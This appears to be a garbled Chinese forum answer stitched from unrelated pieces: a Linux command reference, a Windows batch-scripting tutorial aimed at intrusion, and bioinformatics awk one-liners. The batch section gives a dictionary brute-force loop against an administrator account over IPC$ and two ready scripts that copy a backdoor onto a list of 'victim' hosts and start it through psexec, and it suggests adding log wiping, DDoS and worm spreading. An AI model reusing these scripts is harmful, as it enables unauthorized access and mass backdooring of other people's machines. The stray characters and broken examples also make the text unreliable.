file 1.作用file通过探测文件内容判断文件类型，使用权限是所有用户。
2.格式file [options]文件名3.[options]主要参数-v：在标准输出后显示版本信息，并且退出。
-z：探测压缩过的文件类型。
-L：允许符合连接。
-f name：从文件namefile中读取要分析的文件名列表。
4.简单说明使用file命令可以知道某个文件究竟是二进制（ELF格式）的可执行文件,还是Shell Script文件，或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、DOS的可执行文件。
5.应用实例如果我们看到一个没有后缀的文件grap，可以使用下面命令：
$ file grap grap：English text 此时系统显示这是一个英文文本文件。需要说明的是，file命令不能探测包括图形、音频、视频等多媒体文件类型。
mkdir 1.作用mkdir命令的作用是建立名称为dirname的子目录，与MS DOS下的md命令类似，它的使用权限是所有用户。
2.格式mkdir [options]目录名3.[options]主要参数－m,－－mode=模式：设定权限<模式>，与chmod类似。
－p,－－parents：需要时创建上层目录；如果目录早已存在，则不当作错误。
－v,－－verbose：每次创建新目录都显示信息。
－－version：显示版本信息后离开。
4.应用实例在进行目录创建时可以设置目录的权限，此时使用的参数是“－m”。假设要创建的目录名是“tsk”，让所有用户都有rwx(即读、写、执行的权限)，那么可以使用以下命令：
$ mkdir－m 777 tsk grep 1.作用grep命令可以指定文件中搜索特定的内容，并将含有这些内容的行标准输出。grep全称是Global Regular Expression Print，表示全局正则表达式版本，它的使用权限是所有用户。
2.格式grep [options] 3.主要参数[options]主要参数：
－c：只输出匹配行的计数。
－I：不区分大小写（只适用于单字符）。
－h：查询多文件时不显示文件名。
－l：查询多文件时只输出包含匹配字符的文件名。
－n：显示匹配行及行号。
－s：不显示不存在或无匹配文本的错误信息。
－v：显示不包含匹配文本的所有行。
pattern正则表达式主要参数：
：忽略正则表达式中特殊字符的原有含义。
^：匹配正则表达式的开始行。戚纯姿
$:匹配正则表达式的结束行。
<：从匹配正则表达式的行开始。
>：到匹配正则表达式的行结束。
[ ]：单个字符，如[A]即A符合要求。
[ - ]：范围，如[A-Z]，即A、B、C一直到Z都符合要求。
。：所有的单个字符。
*：有字符，长度可以为0。
正则表达式是Linux/Unix系统中非常重要的概念。正则表达式（也称为“regex”或“regexp”）是一个可以描述一类字符串的模式（Pattern）。如果一个字符串可以用某个正则表达式来描述，我们就说这个字符和该正则表达式匹配（Match）。这和DOS中用户可以使用通配符“*”代表任意字符类似。在Linux系统上，正则表达式通常被用来查找文本的模式，以及对文本执行“搜索－替换裤悔” *** 作和其它功能。4.应用实例查询DNS服务是日常工作之一，这意味着要维护覆盖不同网络的大量IP地址。有时IP地址会超过2000个。如果要查看nnn.nnn网络地址，但是却忘了第二部分中的其余部分，只知到有两个句点，例如nnn nn..。要抽取其中所有nnn.nnn IP地址，使用[0－9 ]{3 }.[0－0{3}。含义是任意数字出现3次，后跟句点，接着是任意数字出现3次，后跟句点。
$grep '[0－9 ]{3 }.[0－0{3}' ipfile 补充说明，grep家族还包括fgrep和egrep。fgrep是fix grep，允许查找字符串而不是一个模式；egrep是扩展grep，支持基本及扩展的正则表达式，但不支持q模式范围的应用及与之相对应的一些更加规范的模式。
dd 1.作用dd命令用来复制文件，并根据参数将数据转换和格式化。
2.格式dd [options] 3.[opitions]主要参数bs=字节：强迫ibs=<字节>及obs=<字节>。
cbs=字节：每次转换指定的<字节>。
conv=关键字：根据以逗号分隔的关键字表示的方式来转换文件。
count=块数目：只复制指定<块数目>的输入数据。
ibs=字节：每次读取指定的<字节>。
if=文件：读取<文件>内容，而非标准输入的数据。
obs=字节：每次写入指定的<字节>。
of=文件：将数据写入<文件>，而不在标准输出显示。
seek=块数目：先略过以obs为单位的指定<块数目>的输出数据。
skip=块数目：先略过以ibs为单位的指定<块数目>的输入数据。
4.应用实例
dd命令常常用来制作Linux启动盘。先找一个可引导内核，令它的根设备指向正确的根分区，然后使用dd命令将其写入软盘：
$ rdev vmlinuz /dev/hda $dd if＝vmlinuz of＝/dev/fd0
上面代码说明，使用rdev命令将可引导内核vmlinuz中的根设备指向/dev/hda，请把“hda”换成自己的根分区，接下来用dd命令将该内核写入软盘。
find 1.作用find命令的作用是在目录中搜索文件，它的使用权限是所有用户。
2.格式find [path][options][expression] path指定目录路径，系统从这里开始沿着目录树向下查找文件。它是一个路径列表，相互用空格分离，如果不写path，那么默认为当前目录。
3.主要参数[options]参数：
－depth：使用深度级别的查找过程方式，在某层指定目录中优先查找文件内容。
－maxdepth levels：表示至多查找到开始目录的第level层子目录。level是一个非负数，如果level是0的话表示仅在当前目录中查找。
－mindepth levels：表示至少查找到开始目录的第level层子目录。
－mount：不在其它文件系统（如Msdos、Vfat等）的目录和文件中查找。
－version：打印版本。
[expression]是匹配表达式，是find命令接受的表达式，find命令的所有 *** 作都是针对表达式的。它的参数非常多，这里只介绍一些常用的参数。
—name：支持统配符*和?。
－atime n：搜索在过去n天读取过的文件。
－ctime n：搜索在过去n天修改过的文件。
－group grpoupname：搜索所有组为grpoupname的文件。
－user用户名：搜索所有文件属主为用户名（ID或名称）的文件。
－size n：搜索文件大小是n个block的文件。
－print：输出搜索结果，并且打印。
4.应用技巧find命令查找文件的几种方法：
（1）根据文件名查找例如，我们想要查找一个文件名是lilo.conf的文件，可以使用如下命令：
find /－name lilo.conf find命令后的“/”表示搜索整个硬盘。
（2）快速查找文件根据文件名查找文件会遇到一个实际问题，就是要花费相当长的一段时间，特别是大型Linux文件系统和大容量硬盘文件放在很深的子目录中时。如果我们知道了这个文件存放在某个目录中，那么只要在这个目录中往下寻找就能节省很多时间。比如smb.conf文件，从它的文件后缀“.conf”可以判断这是一个配置文件，那么它应该在/etc目录内，此时可以使用下面命令：
find /etc－name smb.conf 这样，使用“快速查找文件”方式可以缩短时间。
（3）根据部分文件名查找方法有时我们知道只某个文件包含有abvd这4个字，那么要查找系统中所有包含有这4个字符的文件可以输入下面命令：
find /－name '*abvd*'
输入这个命令以后，Linux系统会将在/目录中查找所有的包含有abvd这4个字符的文件（其中*是通配符），比如abvdrmyz等符合条件的文件都能显示出来。
(4)使用混合查找方式查找文件
find命令可以使用混合查找的方法，例如，我们想在/etc目录中查找大于500000字节，并且在24小时内修改的某个文件，则可以使用-and (与)把两个查找参数链接起来组合成一个混合的查找方式。
find /etc -size +500000c -and -mtime +1
mv 1.作用mv命令用来为文件或目录改名，或者将文件由一个目录移入另一个目录中，它的使用权限是所有用户。该命令如同DOS命令中的ren和move的组合。
2.格式mv[options]源文件或目录目标文件或目录3.[options]主要参数－i：交互方式 *** 作。如果mv *** 作将导致对已存在的目标文件的覆盖，此时系统询问是否重写，要求用户回答“y”或“n”，这样可以避免误覆盖文件。
－f：禁止交互 *** 作。mv *** 作要覆盖某个已有的目标文件时不给任何指示，指定此参数后i参数将不再起作用。
4.应用实例（1）将/usr/cbu中的所有文件移到当前目录（用“.”表示）中：
$ mv /usr/cbu/ * . （2）将文件cjh.txt重命名为wjz.txt：
$ mv cjh.txt wjz.txt ls 1.作用ls命令用于显示目录内容，类似DOS下的dir命令，它的使用权限是所有用户。
2.格式ls [options][filename] 3.options主要参数－a,－－all：不隐藏任何以“.”字符开始的项目。
－A,－－almost－all：列出除了“.”及“..”以外的任何项目。
－b,－－escape：以八进制溢出序列表示不可打印的字符。
－－block－size=大小：块以指定<大小>的字节为单位。－B,－－ignore－backups：不列出任何以~字符结束的项目。
－f：不进行排序，－aU参数生效，－lst参数失效。
－F,－－classify：加上文件类型的指示符号(*/=@|其中一个)。
－g：like－l, but do not list owner。
－G,－－no－group：inhibit display of group information。
－i,－－inode：列出每个文件的inode号。
－I,－－ignore=样式：不印出任何符合Shell万用字符<样式>的项目。
－k：即－－block－size=1K。
－l：使用较长格式列出信息。
－L,－－dereference：当显示符号链接的文件信息时，显示符号链接所指示的对象，而并非符号链接本身的信息。
－m：所有项目以逗号分隔，并填满整行行宽。
－n,－－numeric－uid－gid：类似－l，但列出UID及GID号。
－N,－－literal：列出未经处理的项目名称，例如不特别处理控制字符。
－p,－－file－type：加上文件类型的指示符号(/=@|其中一个)。
－Q,－－quote－name：将项目名称括上双引号。
－r,－－reverse：依相反次序排列。
－R,－－recursive：同时列出所有子目录层。
－s,－－size：以块大小为序。
diff 1.作用diff命令用于两个文件之间的比较，并指出两者的不同，它的使用权限是所有用户。
很长啊，还有些资料，想要的话留个邮箱吧。。。\x0d\x0a一般批处理都是先建立一个文本文件然后输入 批处理命令然后另存为.bat文件就好了的。。\x0d\x0a\x0d\x0a1.Echo 命令打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。语法echo [{on|off}] [message]Sample：echo off / echo hello world在实际应用中我们清枯会把这条命令和重定向符号（也称为管道符号，一般用>>>^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。\x0d\x0a2.@ 命令表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。Sample：@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)\x0d\x0a3.Goto 命令指定芹腊跳转到标签，找到标签后，程序将处理从下一行开嫌正滑始的命令。语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample：if {%1}=={} goto noparmsif {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。\x0d\x0a4.Rem 命令注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。Rem MessageSample：@Rem Here is the description.\x0d\x0a5.Pause 命令运行 Pause 命令时，将显示下面的消息： Press any key to continue . . . Sample：@echo off :begin copy a:*.* d：\backecho Please put a new disk into driver A pause goto begin 在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。\x0d\x0a6.Call 命令从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。\x0d\x0a7.start 命令调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数：MIN 开始时窗口最小化SEPARATE 在分开的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234??\x0d\x0a如: choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample：Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag （应先判断数值最高的错误码）if errorlevel 2 goto mem if errotlevel 1 goto end \x0d\x0a:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye\x0d\x0a此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。\x0d\x0a9.If 命令\x0d\x0aif 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparms\x0d\x0a2、if exist 文件名 待执行的命令 如果有指定的文件，则条件成立，运行命令，否则运行下一句。如if exist config.sys edit config.sys \x0d\x0a3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。\x0d\x0a10.for 命令for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable\x0d\x0afor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I\x0d\x0a如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持:\x0d\x0aFOR /D %variable IN (set) DO command [command-parameters]\x0d\x0a如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。\x0d\x0aFOR /R [[drive:]path] %variable IN (set) DO command [command-\x0d\x0a检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。\x0d\x0aFOR /L %variable IN (start,step,end) DO command [command-para\x0d\x0a该集表示以增量形式从开始到结束的一个数字序列。因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生序列 (5 4 3 2 1)。\x0d\x0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command \x0d\x0a或者，如果有 usebackq 选项:\x0d\x0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command \x0d\x0afilenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析 *** 作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:\x0d\x0aeol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。\x0d\x0asample1:FOR /F "eol=tokens=2,3* delims=, " %i in (myfile.txt) do command\x0d\x0a会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。\x0d\x0a%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。\x0d\x0a您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。\x0d\x0a最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:\x0d\x0aFOR /F "usebackq delims==" %i IN (`set`) DO @echo %i\x0d\x0a会枚举当前环境中的环境变量名称。\x0d\x0a另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:\x0d\x0a~I - 删除任何引号(")，扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串\x0d\x0a可以组合修饰符来得到多重结果:\x0d\x0a%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIR\x0d\x0a在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。\x0d\x0a以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。\x0d\x0asample2：\x0d\x0a利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。\x0d\x0asample3：\x0d\x0a你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。\x0d\x0a主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。代码雏形：\x0d\x0a--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------\x0d\x0a------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ????OK@copy windrv32.exe\\%1\admin$\system32 &&if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 &&if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.1. 提取fasta文件abc.fas中序列>LG02的第164~202碱基之间序列，另存为abc_LG02_164_202.fas：
$ more abc.fas|awk 'BEGIN{ORS=""}{if(/>/)print "\n"$0"@"else print $0}'|grep LG02|sed 's/@/\n/g'|grep -v '>'|awk '{print substr ($0,164+1,202-164-1)}' >abc_LG02_164_202.fas
在文件abc_LG02_164_202.fas第一行插入“>abc_LG02_164_202”
$ sed -i '1i >abc_LG02_164_202' abc_LG02_164_202.fas
2. 截取fasta文枣滑档件中序列XXXX及其前后n个碱基的序列：
$ egrep -o ‘.{n}XXXX.{n}’ abc.fas
3. 从fasta文件中提取列表list中的序列（list格式：>a\n>b\n）：
$ awk 'NR==FNR{a[$0]next} /^>/{b=($1 in a)} b' list abc.fas >list.fas
4. 在fasta格式的氨基酸序列文件中，将序列中字符“.”去掉：
$ more abc.fas|awk '{if(!/>/) gsub (/\./,"")print}' > abc.fasta
5. 去除空行,去除wei行
$ sed '/^\s*$/d'
$ sed -i '$d' a.txt
6. 批量重命名
$ ls |grep fastq.gz|awk -F "." '{print$1}'|xargs -I {} mv {}.fastq.gz {}.fq.gz
7. 拆分文件，可将sh脚本拆分多个脚本同时后台运让芹行，避免运行任务过多内存不足
$ 凳乱split -l 10 abc.sh -d -a 4 abc_
8. 提取rsem分析结果的FPKM
ls|grep genes.results|awk '{print "awk \047{print $NF }\047 "$0 " >"$0".list"}'|sh
ls |grep results.list|awk 'BEGIN{ORS="\t"print "paste\tID"}{print$0}END{print" >Expression.FPKM\n"}'|sh
ls |grep results.list|sed 's/.genes.results.list//g'|awk 'BEGIN{ORS="\t"print "sed -i \0471i ID"}{print $0}END{print"\047 Expression.FPKM\n"}'|sh
more abc.list|awk '{print"grep \047\\b"$0"\\b\047 abc_Expression.FPKM >>abc.FPKM"}'|sh
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